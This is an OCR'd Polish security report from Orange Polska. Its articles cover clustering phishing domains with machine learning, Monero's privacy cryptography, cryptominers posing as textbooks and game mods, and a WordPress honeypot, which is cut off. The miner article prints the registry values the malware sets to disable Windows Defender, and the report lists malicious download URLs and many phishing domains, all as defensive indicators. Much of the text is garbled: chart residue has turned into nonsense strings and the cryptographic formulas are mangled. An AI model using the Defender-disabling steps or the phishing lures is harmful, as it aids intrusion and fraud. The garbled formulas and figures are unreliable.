pod uwage recznej edycji stow kluczowych w przysziosci.

36,50% Namecheap
23,30% Reg.ru
17,60% Inne

10,70% Pdr.ltd.d/b/a
publicdomainregistry.com

5,37% Godaddy.com
3,26% Hostinger
2,50% Agnat sp. z o.0.
1,70% Namesilo

250
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50

o
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o

liczba wystgpien

—ONONPOUNODANTOITNDODPOOODN =N~ O — Tu owszem, mamy liderow, jednak w czotowce znajduije sie
P AR rFTONITRNTIOITOITONOAMNMOINNOMT O — D © N ) , . . ,
T TN NS TN T s T TN e T T T TN jeszcze paru pretendentow, sama lista tez stosunkowo krotka
DO MNOMNOOOOVOOHODDLLOMMD—TNDONDIOHWO—-—LTOMO . o . . .
N-NO- O - I T 00N O~ -00— A §g (ok. 100 unikalnych wartosci). Problemem tej zmiennej jest
caa-TaAaTaAddLuLbAdAdT YN YA T To~aA T 0N ©O 0= N~ N . s .
DY NN~ 8NN NG N LRI~ jej ograniczona dostepnos¢ w masowych zastosowaniach.
3 © o BLYRLLRRXX 4 s PRBLELA e o S ) 3 g 82 Doskonaty przyktad ograniczenia z jakimi trzeba sie mierzy¢.
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Troche inaczej sprawa ma sie w przypadku wystawcy
certyfikatéw, przewaga jednego z nich jest bezdyskusyjna,
a dane na ten temat moga by¢ tatwo dostepne:

B 63,70%
B 2350%
5,99%
2,17%
2,14%
1,25%
0,80%
L 0,45%

Warto zaznaczy¢, ze prawie 80% blokowanych
omen posiada certyfikat SSL.

Kolejng cecha, ktérg mozemy bra¢ pod uwage jest
czas, przez jaki dana domena jest odwiedzana przez
ofiary. Takie dane widzimy na serwerach DNS.

Na osi x przyblizony czas, w minutach, efektywnego
uzycia domeny w ataku (miedzy pierwszym i ostatnim
odbiciem). Na osi y — skumulowany procent domen.

skumulowany procent domen

zanim pojawi si¢ pierwsza ofiara.

Let’Encrypt

No SSL
Cloudflare
cPanel
Cloudflare, Inc.
Inne

Sectigo Limited
GlobalSign nv-sa

0 200 400 600 800 1000 1200 1400

przyblizony czas efektywnego uzycia domeny w ataku (min.)

40% domen konczy swoja aktywnos$¢ w ciagu

kilku minut od wizyty pierwszej ofiary! Dlatego

tak wazny jest czas szybkiej reakcji na pojawiajgca sie
domene. Oznacza to, ze blokada domeny na podstawie
zgtoszenia osoby poszkodowanej jest w blisko potowie
przypadkow juz zbyt pdZna/niepotrzebna. Z drugiej strony,
tak krétki czas aktywnosci jest niejako wymuszony naszym
dziataniem! Gdybys$my zrezygnowali nawet z takiej spdznionej
blokady, czas aktywnos$ci domen wzréstby w sposéb
naturalny. To przyktad cechy, ktérej praktycznie nie
uzywamy, bo przeciez najlepiej zablokowaé¢ domene

76

Posréd cech, ktérymi mozemy sie postugiwac,

jedna wydaje sie najwazniejsza: adres strony.

Jednak tu przestajg dziata¢ typowe podejscia Natural
Language Processing. Nie wykonamy lematyzacji
(sprowadzania stowa do formy podstawowej)

na domenie ,,000go.xyz”, a odlegtos¢

Levenshteina (liczba krokdw potrzebnych

do zamiany jednego stowa w drugie) zda sie

na nic przy parze: ,eiiegrolokalnie.xyz”

i ,lokaineallegro.xyz”.

principal component 2
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Ponizej przyktad podstawowego podejscia NLP, automatyczny podziat na klastry tylko na podstawie tekstu
(Dla zainteresowanych i bez wchodzenia w szczegdty: wykres TF-IDF+PCA, kolory TF-IDF+K-Means):

0,00 0,05 0,10 0,15 0,20 0,25 0,30 0,35 040 045 050 055 060 065 0,70 0,75 0,80 0,85 0,9 0,95

principal component 1

Czy cos wynika z powyzszego wykresu? Niespecjalnie. Mamy jakie$ klastry (ten sam kolor) jednak ich pozycja
jest rozstrzelona i trudno o znalezienie jakiej$ reguty. Podobnie sytuacja wyglada na wykresie t-SNE:
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Mamy wyodrebnione grupy (lokalizacja na wykresie — wg cech infrastrukturalnych, kolory — klastry, ktére uzyskalismy
wczesniej podczas obrébki tekstu). Widac tez zbieznos¢ kolordw i lokalizacji. Przygladajac sie blizej grupce
na przecieciu — 100 i 20, w tym samym miejscu na wykresie sa domeny z tej samej kampanii, lecz o réznych nazwach:

Tu pojawiajg sie pewne prawidtowosci, cho¢ nie brak tez btedéw. Zblizenie grupy w poblizu przeciecia
wspotrzednych x=40 i y=-50:

-44 °
) fmsaomsifms23-4fmsdm.bar 21 PY
smso.site o inpost-order.pl-id74633208.xyz °
-45 - inpost-order.pl-id76964244.xyz
smsafricang.net 20 ®
) allegro-order.pl-id76964244.xyz
46 ° 19 booking.pl-id88487283.xyz [ ] )
h my-sms.site [ J ) ina-bhie nlli
sms.pl-id20705983.xyz N ® booking-gbjs.pl-id07016550.xyz
sms.pl-id14959215.xyz . vinted.pl-id74633208.xyz ® N ™
. sms.pl-id33513757.xyz sms.pl-id39420753.xyz 18 ® R e
- . vinted.pl-I XyzZ
sms.pl-id66724836.xyz * uber.pl-id49562427 .xyz @ P ¥
2 B 4 )
sms.pl-id09860506.xyz sms.pl-id19091876.xyz sms.pl-id27149350.xyz s s @ - ° a idzgzlssee -
-48 sms.pl-id61394071.xyz sms.pl-id19862251.xyz _ ° ®
? E sms pl-id69351671.xyz sms.pl-id01807025.xyz ® olx-agtd.pl-id48043960.xyz ° .
1 j 16
: b ®
: sms.pl-id06534295.xyz e booking.pl-id76964244.xyz
49 ° °
booking.pl-id49562427.xyz
15 L
! L ®
| ® booking.pl-id74633208.xyz ° booking.pl-id13768096.xyz
.50 sms.pl-id28028361.xyz sms.pl-id92311505.xyz = vinted.pl-id37327099.xyz © ® allegro-order.pl-id37327099.xyz P ® Y
sms.pl-id20015603.xyz Y a .
v poczta-order.pl-id74633208.xyz - ® ®olx.pl-id49562427.xyz
51 sms.pl-id10380830.xyz sms.pl-id27172673.xyz 13 olx-order.pl-id07016550.xyz
sms.pl-id19835289.xyz [ ]
sms.pl-id82174853.xyz | e
1-id67408684 sms.pl-id98805162.xyz . booking.pl-id37327099.xyz A
52 sms.pl-i Xyz ! : sms.pl-id05900377.xyz inpost.pl-id37327099.xyz ® sms.pl-id49562427.xyz ® poczta.pl-id37327099.xyz
39,0 395 40,0 40,5 410 415 420 42,5 43,0 435 440 445 450 455 46,0 46,5 47,0 47,5 -102,0 -101,0 -100,0 -99,0 -98,0 87.0 -96,0 -95,0 -94,0 -93,0 -92,0 -91,0

Obok domen sms.pl-id... widzimy tez my-sms...smsafricang. Algorytm uznat, ze fraza ,,sms” jest tu najwazniejsza,
a przeciez ciag znakow ,,sms” w nazwie domeny to nic ztego. Innymi stowy, tekst — owszem — ma znaczenie, jednak
to nie wszystko.

Sprawdzmy zatem jak podobna operacja powiedzie nam sie na wspomnianych wczesniej cechach takich jak IP, ASN,
registrar, itd. t-SNE dla tych cech wyglada juz duzo lepiej:

Liczba grupek wydaje sie wcigz zbyt duza i za bardzo rozstrzelona, podobne domeny znajdujg sie tez w ré6znych grupach.
Jestesmy juz blisko celu. Zbierzmy zatem wszystkie cechy, zaréwno te pochodzace od tekstu, jak i wynikajace z innych
zrédet, i sprébujmy uzy¢ ich do automatycznego grupowania domen.

Otrzymujemy catkiem zgrabny wykres (kolory wskazujg ASN):
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Ten sam wykres z podziatem na nasze wewnetrznie ustalone kategorie:
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Mimo uzycia niezbyt zaawansowanego

i niedeterministycznego algorytmu redukcji wymiaréw
(t-SNE) mamy w jednym miejscu wykresu mikro-grupy
domen, ktore prawie nie r6znig sie tekstem, natomiast
przynalezno$¢ do tej samej kampanii zostata
jednoznacznie zaznaczona przez cechy infrastrukturalne,
ktore te grupki ustawity obok siebie. Kolory to nasze
wewnetrzne oznaczenie, nietrudno zgadnagé,

co poszczegdlne z nich oznaczajg. Potwierdzeniem
niech bedzie jeszcze wynik zapytania o certyfikaty
jednej konkretnej domeny z wykresu.

Dla domeny ,,pl-id06057206.xyz”
wynik z crt.sh wyglada tak:

pl-id06057206.xyz

pl.pl-id06057206.xyz
inpost-order.pl.pl-id06057206.xyz
vinted-order.pl-id06057206.xyz
booking-order.pl-id06057206.xyz
poczta-order.pl-id06057206.xyz
vinted.pl-id06057206.xyz
booking.pl-id06057206.xyz
sms.pl-id06057206.xyz
pl-id06057206.xyz
uber-order.pl-id06057206.xyz
allegro-order.pl-id06057206.xyz
inpost-order.pl-id06057206.xyz
olx-order.pl-id06057206.xyz

wfp

Niemal wszystkie prefiksy z listy znalazty sie

na ostatnim wykresie, bingo! Dosy¢ prosty algorytm
zgrupowat te domeny prawidtowo. A skoro jemu

sie udato, to te bardziej zaawansowane algorytmy
poradzg sobie réwniez z klasyfikacjg

w prawdziwym boju.

Podsumowanie:
Mamy zbiér danych, gdzie:

a) jest petna dowolnos¢ tworzenia nowych przypadkow
(tworza je w wiekszosci ludzie, nie maszyny),

b) jest bardzo mata liczba cech tatwo/masowo
dostepnych,

¢) mamy pewnosé, ze zbiér treningowy zawiera
przyktady false negative,

d) wielko$¢ zbioru uczacego jest niemal nieograniczona
historycznie i zawsze bedzie rosnac,

€) pojawiaja sie ciggle nowe schematy, nowe grupy
przestepcze etc.

f) nazwa domeny to czasem zaledwie kilka znakoéw,

g) miliony domen musimy przepusci¢ przez algorytmy
W czasie rzeczywistym.

A mimo to algorytmy potrafig wybrac¢ sobie cechy
istotne i na ich podstawie podejmowac decyzje

bardzo trafnie. Do tego stopnia, ze w produkcyjnym
trybie udziat false positive posréd domen-kandydatow
nie przekracza 10%. Co wiecej, przeszio 50% przypadkow
jestesmy w stanie zweryfikowac, oznaczy¢ i zablokowac
automatycznie — tak bardzo pasujg do znanych wzorcow.
By¢ moze przestepcy sg do tego stopnia przewidywalni,
a moze... (przewrotnie) algorytmy nauczyty sie

juz wzorcoéw zachowan operatoréw CyberTarczy

i podsuwajg doktadnie to czego wiasnie oni oczekuja?

Grzegorz Zembrowski
Cyberbezpieczenstwo Orange Polska
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Prywatnos$s¢ Monero

Obok Bitcoina istnieje wiele kryptowalut o réznych
wtasciwosciach. Jedne nasladuja dziatanie Ethereum i
stawiajg na rozwoj w kierunku kontraktéw, inne walut cyfrow-
ych oferujgcych szybkie transfery, sg tez i takie, ktére oferujg
anonimowos$¢é na bardzo wysokim poziomie.

W Swiecie przestepczym kréluje kryptowaluta Monero.

Ze wzgledu na poziom anonimowosci zostata ona usunieta
z wielu gietd, gtéwnie przez wykorzystywanie przez
cyberprzestepcéw przy np. praniu brudnych pieniedzy.

Dziatanie Monero (i poziom jego anonimowosci) ulegato
sporym zmianom na przestrzeni lat, dlatego tez opisze,
jak dziata obecnie. Co rdzni jg od Bitcoina. Nie obejdzie
sie tez bez znajomosci dziatan na krzywych eliptycznych
(opisywatem podstawy w artykule ,,Bitcoin — studium
przypadku” w raporcie za rok 2018).

Adresat

Transakcje w Bitcoinie sg otwarte i kazdy moze je
podejrze¢ (np. na www.blockchain.com/explorer lub
bezposrednio monitorujgc siec) i wysledzi¢, ktory adres
wystat i jaka ilos¢ BTC na docelowy. Jednak nie wiadomo
do kogo ten adres nalezy - chyba, ze potaczy sie te dane
z danymi klientéw gietd.

W Monero protokét CryptoNote nie pozwala na podejrzenie
odbiorcy kryptowaluty. Nadawca pobiera dwa klucze
publiczne (A i B) z adresu odbiorcy, losuje zmienna r i na jej
podstawie za pomocg wtasciwosci krzywych eliptycznych
wylicza tymczasowy klucz publiczny (one-time public key),
a zatem tymczasowy adres odbiorcy.

P =Hs(rA)G + B

Gdzie: Hs - funkcja haszujaca, r — wygenerowana duza
liczba nadawcy, A — Jeden ze skfadnikéw adresu (klucz
publiczny 1), B - Drugi ze sktadnikéw adresu (klucz public-
zny 2), G — punkt poczatkowy na krzywej eliptycznej
Nastepnie wysyfajagcy umieszcza adres tymczasowy P

na wyjsciu transakcji, oblicza R=rG i umieszcza w tran-
sakcji. Nikt oprécz nadawcy i odbiorcy nie wie do kogo sa
adresowane s$rodki.

Adresat nastuchujac wszystkich transakcji oblicza
B’ =P - Hs(aR)G

gdzie ,a” to jeden z kluczy prywatnych (tzw. view key).
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Jesli B’ = B to transakcja jest kierowana do niego i tylko on
oraz adresat o tym wiedza. Nastepnie, aby wydac te srodki
musi obliczy¢ tymczasowy klucz prywatny:

x =Hs(@R) + b

gdzie ,,b” to drugi z kluczy prywatnych (tzw. spend key).

W ten sposéb protokét CryptoNote uniemozliwia
podejrzenie adresu docelowego osobom postronnym.
Jednak samo zaciemnienie adresata to nie wszystko,
CryptoNote zaciemnia rowniez zrddta transakcji.

Nadawca

Transakcje w Monero wysytane sg z wykorzystaniem pod-
piséw pierscieniowych. Gdy klient sieci chce wystaé srodki
do odbiorcy, pobiera losowo klucze publiczne klientow
znanych juz w sieci (ktorzy dokonali jakiejkolwiek transakciji
- W przeciwnym razie mogtby by¢ tatwo zidentyfikowany),
a nastepnie umieszcza podpis pierscieniowy ztozony z
tych kluczy publicznych i swojego klucza prywatnego w
transakcji. Zgodnie z zasada dziatania takiego podpisu, nie
mozna stwierdzi¢, kto podpisat dang transakcje, ale mozna
mie¢ pewnos¢, ze jest to jeden z adresédw umieszczonych
w pierscieniu. Przedstawiony tutaj przyktad takiego pod-
pisu bedzie uproszczonym schematem — LSAG (Linkable
Spontaneous Anonymous Group).

Nadawca wybiera losowo klucze publiczne (Pn), na ktére
dokonano juz pewnych wptat. Przyjmijmy, ze pobiera 2
takie klucze, zatem w ,,pierscieniu” znajdag sie 3 pozycje (2
+ jego klucz). Nastepnie oblicza obraz klucza.

| = kH(P)

gdzie: | = Obraz klucza, H - funkcja hashujaca (w Monero —
Keccak), k — klucz prywatny, P — klucz publiczny

Zatézmy, ze nadawca umieszcza swojg pozycje na 2gim
miejscu w pierscieniu (musi zrobié to losowo, inaczej fatwo
bytoby zgadna¢ kto podpisat transakcje). Nastepnie gener-
uje losowe liczby a, r1, r3 i generuje poczatkowg wartosé c
(n+1) czyli w tym wypadku c3:

c3 = H (M, [aG], [aH(P2)])

gdzie: M — wiadomosé, a — wylosowana liczba, P2 — rzec-
zywisty klucz publiczny, H - funkcja hashujaca, G — punkt
poczatkowy na krzywej eliptycznej uzywany przez Monero

Nastepnie oblicza c1 i c2:

c1 = HM, [r3G + c3P3], [r3H(P3) + c3l])

c2 =HM, [r1G + c1P1], [rTH(P1) + c1l])

gdzie: r1,r3 — wylosowana liczba, P1,P3 - klucze publiczne
pobrane z blockchain’a

Sie¢ jest w stanie zweryfikowac taki podpis posiadajgc
wytacznie c1, r1, r2, r3 i |. Wysytajacy nie posiada jeszcze
r2 — wylicza teraz tg zmienng za pomoca réwnania r2 = a
— C2p2 dzieki czemu podpis przez obserwujgcych bedzie
widoczny jako poprawny. W tej chwili pierscien wyglada w
ten sposdéb (wysytajgcym jest Charlie):

Schemat przyktadowego pierscienia.

Bob
c3 = HM, [r2G + c2P2], Alice
[r2H(P2) + c2I]) c1 =HM, [r3G + c3P3],
[rBH(P3) + c3I])
Charlie
c2 =HM, [r1G + c1P1], [rTH(P1) + c11])
r2=a-c2p2
Weryfikacja takiego podpisu polega na obliczeniu c2, c3 i Jesli obliczony c1 jest réwny ¢1 dostarczonemu w pod-

c1 z przedstawionego przez wysytajacego
podpisu (c1, r1,r2,r3, I):

pisie sie¢ uznaje ze transakcja zostata prawidtowo pod-
pisana jednak nikt nie jest w stanie wskazaé, przez ktérego
uczestnika pierscienia.

c2 = HM, [1G + c1P1], [rTH(P1) + c11])

c3 = H(M, [r2G + c2P2], [r2H(P2) + c2l])
c1 =HM, [r3G + c3P3], [r8H(P3) + c3l])
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Anonimowos¢é kwot

Zaktadajac, ze wysytana jest odpowiednio unikalna kwota,
obserwator bytby w stanie jg $ledzi¢. W Monero pomyslano
takze o zaciemnieniu wielkosci transakgciji tak, aby sie¢ miata
pewnosé, ze nie przestano nadmiarowych ilosci monet.

W Bitcoinie transakcja jest otwarta i wyglada
przyktadowo tak:

Przyktadowa transakcja Bitcoina

Alice

50 BTC == | In Out| ===» 0.5BTC 0.5BTC === | In Out

Out

Reszta

Alice posiadajgc 50BTC wysyta 0.5BTC do Boba,

w transakcji, jesli przesytamy mniejsza ilo$¢ niz wskazuje
na to wejscie wymagane jest by podac gdzie odestaé
reszte, ktéra wraca do portfela Alice (oczywiscie jest

to schemat mocno uproszczony). Bob by wydac¢ 0.8BTC
musi wskazac transakcje, ktore byty wczesniej
adresowane do niego w tym transakcje od Alice

- w tym wypadku wysyta cato$¢ z wszystkich wejsé.
Mozna tu zauwazy¢ pewng zalezno$é — suma wyjs¢

jest zawsze réwna sumie wejsc.

W Monero przesytane $rodki sg zaszyfrowane,

a transakcja nie zawiera informacji o ilosci przesytanych
kwot. Skad zatem sie¢ ,wie”, ze np. Alice nie przesyta
wiekszej ilosci monero niz ma? Rozwigzaniem jest
zobowigzanie Pedersena. Pozwala ono na potwierdzenie,
ze suma wejs¢ w transakcji jest réwna sumie wyjs¢

bez ujawniania doktadnych kwot. Przyktadowo:

aG + A10 = (aG + A4) + (aG + AB)

Nie znajgc ,,A” sie¢ jest pewna ze lewa strona réwnania
jest rowna prawej. W przypadku transakcji to rownanie
przybiera inng postaé, ale zasada jest ta sama.

Dla kazdego wyjscia nadawca oblicza:
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~» 49.5BTC 0.1 BTC =&

Bob

- 0.8 BTC

0.2 BTC =

C(b) = yG + bH(G)

gdzie: y — losowa duza liczba, b — ilo$¢, H — funkcja
haszujaca, G — punkt poczatkowy na krzywej eliptycznej.

Gdyby uzyto réwnania np. C(b) = bG, mozliwe bytoby
stworzenie tablicy wartosci np. zaktadajac, ze ilo$¢
przesytanych $rodkéw to 1 to C(1) = G, gdy 2 to C(2)=2G
itd., a G jest zmienna znang wszystkim. W prawidtowym
wzorze zastosowana jest zmienna zaciemniajgca ,,y” ktérg
wraz z iloscig monet(b) wysytane sg w transakcji w postaci
zaszyfrowanej:

M=y +H(H(rP t))

A=b+H(H(H(rP t)))

Tylko osoba posiadajgca klucz prywatny ,,a”(view key)
jest w stanie odczyta¢ zmienng ,y” i ,,b”.

Wysytajgcy musi wskazac na wejscie wyjscie(UTXO)

z poprzedniej transakcji, zna jego zmienna ,y” i warto$¢
transakciji ,b”(ma klucz do ich odszyfrowania), jednak aby
obliczy¢ wyjscie musi skorzystaé juz z nowej zmiennej
»Y”(y2). Takg transakcje mozna zobrazowaé w ten sposob:

Przyktadowa transakcja Monero

Cb1=y1G + bH (G)

Alice

( Tx

~

Cal ===» | In

Out

Out

_J

Sie¢ ,widzgc” transakcje Boba oblicza Cb1 - Cc1
w rezultacie otrzymuje pewien punkt na krzywej

eliptycznej — zG - ale tylko, jesli w tych dwdch
zobowigzaniach b jest takie samo, woéwczas zeruje
czes$é robwnania (w przeciwnym wypadku taki punkt

nie powstanie):

->» 0.5BTC
0.5 BTC

=>» Cb2
Reszta

zG = (y1G + bH(G)) — (y2G + bH(G))= (y1 -y2)G + 0

Tylko Bob i odbiorca znajg klucz prywatny ,z”, sie¢

zna klucz publiczny, czyli ztozony z tej zmiennej

pomnozonej przez G. Klucz ,,z” daje mu mozliwosé

podpisania tego zobowigzania, a dzieki kluczowi

publicznemu (zG) sie¢ ma gwarancje, ze nie powstaty

nadmiarowe monety poprzez weryfikacje takiego

podpisu. Podpis ten musi byé podpisem

pierscieniowym — obserwator ,widzi” wszystkie

zobowigzania jako prawidtowe.

Podsumowanie

W artykule przedstawili§my niektore z aspektéw
anonimizacji wykorzystywanych przez algorytm

CryptoNote uzywany przez Monero. Poréwnujac
do najbardziej rozpoznawalnej kryptowaluty

— Bitcoina - mozemy stwierdzié, ze poziom prywatnosci
jest naprawde wysoki. Zastosowanie mechanizmow
zaciemniajacych adres docelowy, Zrédto transakcji

czy nawet ukrycie wielkosci transakcji przed

obserwatorem to sprytne wykorzystanie

homomorficznych mechanizméw krzywych

eliptycznych.

Adam Pichlak
Cyberbezpieczenstwo Orange Polska

Cc1 = y2G + bH (G)

Tx

Out

Bob

Cc1
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Niechciane wydobycie krypto

Rekordowe kursy Bitcoina, podobnie jak czesci innych
kryptowalut sprawity, ze z roku na rok jest o nich coraz
gtosniej. Aktualnie tatwo znalezé reklamy firm z tej branzy
w telewizji, na bilbordach czy nawet na koszulkach ul-
ubionej druzyny pitkarskiej, o internetowych zrédtach juz
nie wspominajgc. Wydaje sie, ze kryptowaluty na dobre
przeszty do mainstreamu i zostaty zaakceptowane przez
rynek biznesowy. Wzrost popularnosci, kurséw oraz ilosci
obracanych pieniedzy sprawia, ze jest to takomy kasek
dla cyberprzestepcéw, ktérzy z catego biznesu usilnie
chca dostacé swojg czesé tortu.

Ataki na gietdy sg powszechne, $rednio kilka razy

do roku mozemy ustysze¢ o incydencie dotyczacym
préby kradziezy. W sierpniu bylismy swiadkami ataku

na japonska gietde kryptowalut Liquid, ktéra w wyniku
incydentu stracita ponad 90 milionéw dolaréw. Innym
zdarzeniem byta udana préba obrabowania Poly Network,
jednak w tym przypadku atakujacy zwrdcit ukradzione
$rodki w zamian za bonus finansowy oraz posade

w firmie. Tak duze ataki stanowig jednak marginalng
czes¢ catego procederu, a najbardziej podatna grupa

to uzytkownicy prywatni. Oczywiscie, nie chodzi w tym
wypadku o wielomilionowe kradzieze z prywatnego PC-ta,
a raczej o niechciane wydobywanie kryptowalut na rzecz
atakujgcego. Ataki na uzytkownikow domowych, w ktérych
dostarczane jest niechciane oprogramowanie
odpowiedzialne za wydobycie kryptowalut czy kradziez
portfeli to zmora od kilku dobrych lat. Nie inaczej byto

w roku 2021. W ponizszym artykule przedstawionych
zostanie kilka przyktadow incydentéw, ktore byty
analizowane przez nasz zespdl w minionym roku.

Nauka online - cyfrowy podrecznik

Rok 2021, podobnie jak poprzedni uptynat pod znakiem
pandemii, uczniowie czesciowo zmuszeni zostali

do nauki zdalnej. W takim wypadku w niejednej mtodej
gtowie zakwitt pomyst, zeby zaoszczedzié troche czasu

i pieniedzy, i zamiast wybrac sie do biblioteki czy ksiegarni,
znalez¢é wymagany w szkole podrecznik w internecie.
~Darmowe ksigzki” oferowane sg na popularnym serwisie
hostingowym Chomikuj.pl. Dla czesci ucznidw taki pomyst
mogt sie skonczy¢ mizernie, bo ksiazki nie byto

a w bonusie byt trojan. W tabeli umieszczone zostaty
nazwy plikéw udajgcych szkolne podreczniki, zawierajgce
ztosliwe oprogramowanie wraz z data pierwszego
skanowania pliku. Dane pochodzg z serwisu
virustotal.com.

Uzytkownikowi czerwona lampka powinna zaswiecié¢
sie na etapie pobierania pliku, z powodu jego
rozszerzenia, ktére wskazuje na plik wykonywalny.

Po uruchomieniu, na ekranie otwarty zostanie pdf
zawierajacy oktadke ksigzki oraz informacje, ze petna
wersja dostepna jest w ksiegarniach. W tle natomiast,
uruchomiony zostaje proces odpowiedzialny

m.in. za kopanie BTC za pomoca procesora

lub karty graficzne;j.
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Na poprawe humoru nalezy dodac, ze trojan

jest juz leciwy i dobrze wykrywany przez wiekszo$é
systemow antywirusowych. Jednak uzytkownicy
korzystajacy ze starszego, niezaktualizowanego systemu
nadal maja sie czego obawia¢. Temat byt juz w przesztosci
opisywany na portalach branzowych (zaufanatrzeciastrona.
pl), jednak problem jest caty czas aktualny, o czym moga
Swiadczyé daty w ponizszej tabeli.

Data Nazwa pliku

01.01.2021 Jezyk polski, klasa 8, Kalendarz ésmoklasisty.exe

05.01.2021 Plastyka, klasa 4-6, Do dzieta, podrecznik, Nowa Era,
+ Historia sztuki.exe

24.01.2021 Matematyka, klasa 5, zeszyt ¢wiczen, cze$¢ 1.exe

25.01.2021 Gramatyka w szkole podstawowej i w gimnazjum,
Greg.exe

26.01.2021 Ksztafcenie zintegrowane, klasa 3, Wzrastamy

w przyjazni z Jezusem, podrecznik, Jednosé.exe

03.02.2021 Repetytorium gimnazjalisty.
Cze$¢ matematyczno-przyrodnicza.exe

11.02.2021 Organizer gimnazjalny. Historia.
Wiedza o spoteczenstwie.exe

15.02.2021 Jezyk polski, klasa 3, Przeszto$¢ to dzis. Literatura,
jezyk, kultura, podrecznik, Stentor.exe

28.02.2021 Wychowanie do zycia w rodzinie, klasa 6,
Wedrujac ku dorostosci, ¢wiczenia, Rubikon.exe

07.03.2021 Geografia, zadania maturalne, demart +cd.exe

16.03.2021 Matematyka, klasa 2, Matematyka w otaczajacym
nas swiecie, zbidr zadan, Podkowa.exe

02.04.2021 Zestaw éwiczen do zaje¢ korekcyjno-kompensacyjnych
dla dzieci 10-12 lat.exe

27.09.2021 Opracowania lektur klasa 7-8.exe

Dodatki, ulepszenia, cryptominery

Po nauce, w czasie wolnym czes$¢ uczniéw spedza czas
przed komputerem, grajac w ulubione tytuty. W przypadku
uzytkownikéw wybierajacych PC-ta zamiast konsoli,
jednym z kluczowych argumentow jest mozliwosé
modyfikacji i ulepszania gry za pomoca roznego rodzaju
modow czy patchy, czesto udostepnianych za darmo
przez innych fanéw serii. W minionym roku wykrylismy
oprogramowanie podszywajace sie pod dodatki

do popularnych tytutéw, dostarczajacych XMRig-a.

XMRIig to legalne oprogramowanie typu open source,
umozliwiajgce wydobywanie kryptowaluty Monero.
Dostepnosc i tatwos$¢ konfiguraciji sprawiaja,

ze oprogramowanie jest bardzo popularne w swojej
grupie odbiorcow, niestety ma to tez swoje minusy.
Program czesto dostarczany jest jako niechciane
oprogramowanie, a niczego nieswiadomy uzytkownik
instalujgc je na swoim komputerze staje sie czescia
kopiacej maszyny.

W analizowanym przez nas przypadku atakujacy wzieli za cel
fandw takich tytutdow jak: Counter-Strike: Global Offensive,
Fortnite czy Minecraft. NieSwiadomi uzytkownicy nie tylko
nie otrzymali upragnionego dodatku, ale w bonusie dostali
koparke Monero znaczaco obcigzajgcg wydajnos¢ komputera.

Nalezy zauwazy¢, ze atakujgcy mocno popracowali nad tym,
aby nie zosta¢ wykrytym przez systemy antywirusowe,

w tym przypadku chodzi o Windows Defendera. W celu
ominiecia zabezpieczen stworzone zostaty dwa procesy
Bypass.exe i Defender.exe. Ten drugi odpowiedzialny

byt m.in. za zmiane wartosci kluczy rejestru na takie,

aby Windows Defender nie wykryt potencjalnego zagrozenia:

description ioc

Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection

Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\DisableAntiSpyware = *1"

Key created \REGISTRYAMACHINE\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection

Set value (int) A\REGISTRYWMACHINE\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1°

Ulubiona gra z dzieciinstwa

Ostatnim omawianym oszustwem skierowanym
(prawdopodobnie) do nieco starszych uzytkownikow

jest podszycie pod popularng w latach 90. gre - Contra.
Po 30 latach firma Konami postanowita przypomnieé

tytut starym fanom i wydata jg na urzadzenia mobilne.
Cyberprzestepcy postanowili skorzysta¢ z tego faktu,
przeprowadzajgc naprawde ciekawg kampanie, skutkujaca
instalacja koparki Monero na komputerze ofiary.

Oszusci dystrybuowali ztosliwe oprogramowanie
poprzez kampanie reklamowa na Facebooku,
wykorzystujac do tego przejete profile. Przyktad ponizej:

Supermercado Monte Sinai
Sponsorowane e
Challenge a new classic shooter game 2021!
Play now: https://bit.ly/ContraReturnclassic

r . S
£ ONIRA.

| /==
/=== RETURNS

PLAY SELECT
1 PLAYER

2 PLAYERS /j R SE A\

CONTRARETURNSN.COM

Contra Returns 2021 Pobierz
315.682 Downloads

Dodatkowo, poza kampanig malvertisingowa, atakujacy
przygotowali szereg podobnych do siebie domen, na ktérych
osadzili te sama witryne. Linki do pobrania gry umieszczone
na kazdej z nich prowadzity do domeny download-contra.com
gdzie hostowane byto ztosliwe oprogramowanie.

Uzytkownicy po pobraniu i uruchomieniu pliku mogli

czu¢ sie zawiedzeni, na ekranie pojawiat sie komunikat
btedu informujacy, ze do instalacji gry wymagany jest
emulator Androida. Natomiast w tle bez wiekszych
probleméw instalowata sie koparka Monero. Petny opis
tego incydentu mozna znalez¢ na naszym portalu: https://
cert.orange.pl/aktualnosci/contra-returns-with-malware

Uzytkownicy domowi, korzystajgcy z komputera

tylko do nauki i/lub rozrywki, bedacy daleko od rynku
kryptowalut zupetnie nieswiadomie moga stac¢ sie jego
czescig. O ile sama koparka zainstalowana na domowym
PC-cie moze go ,tylko” obciazy¢, o tyle bardzo czesto
wraz z nig dostarczany jest bardziej niebezpieczny
malware mogacy wyrzadzi¢ duzo wiecej szkod.

Nalezy pamietac, aby zawsze korzysta¢ z legalnego

i aktualnego oprogramowania, pobieranego z oficjalnych
zrédet oraz nie ufaé bezgranicznie wszystkim
anonimowym uzytkownikom foréw i serwisow
spotecznosciowych.

Barttomiej Zielinski
Cyberbezpieczenstwo Orange Polska
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WebApp Honeypot

Chcac by¢ na biezaco z nowymi trendami wsrod atakow
internetowych badacz musi ucieka¢ sie do ré6znych metod.
Zdecydowanie jedng z ciekawszych jest wykorzystanie
systemow typu honeypot, czyli symulowanego srodowiska
czesto jawigcego sie agresorowi jako tzw. low hanging
fruit (tatwy do przetamania system lub prosta w naduzyciu
podatnos$c), jednoczesnie pozwalajgc na monitorowanie
jego poczynan.

W realizowanym przeze mnie ¢wiczeniu kolejny raz
postawitem na aplikacje webowe jako, ze od wielu lat

sg najpowszechniejszym sposobem udostepniania tresci
w internecie i tym samym jednym z najpopularniejszych
celéw dziatan hakerskich.

Poczatki byly skromne - jeden adres IP, jeszcze bez
domeny. Wybér padt na pospolity silnik blogowy
WordPress, a scenariusz w duzej mierze odzwierciedlat
panujace realia: w momencie instalacji system znajdowat
sie w najnowszej wersji i przez caty rok nie byt aktualizowany.
Zainstalowano kilka popularnych i dobrze ocenianych
dodatkow, ktore takze pozostaty bez update’6w. Catosé
skonfigurowano w sposéb pobiezny, tak jak zrobitby

to laik. Zwienczeniem byta publikacja kilku wpisow.

Sidta zastawione, rozpoczatem obserwacije.

Obserwacje

Najwiecej ruchu przychodzgcego generowano z adresacji
ulokowanych w Ameryce Potnocnej. Ruch z rodzimych
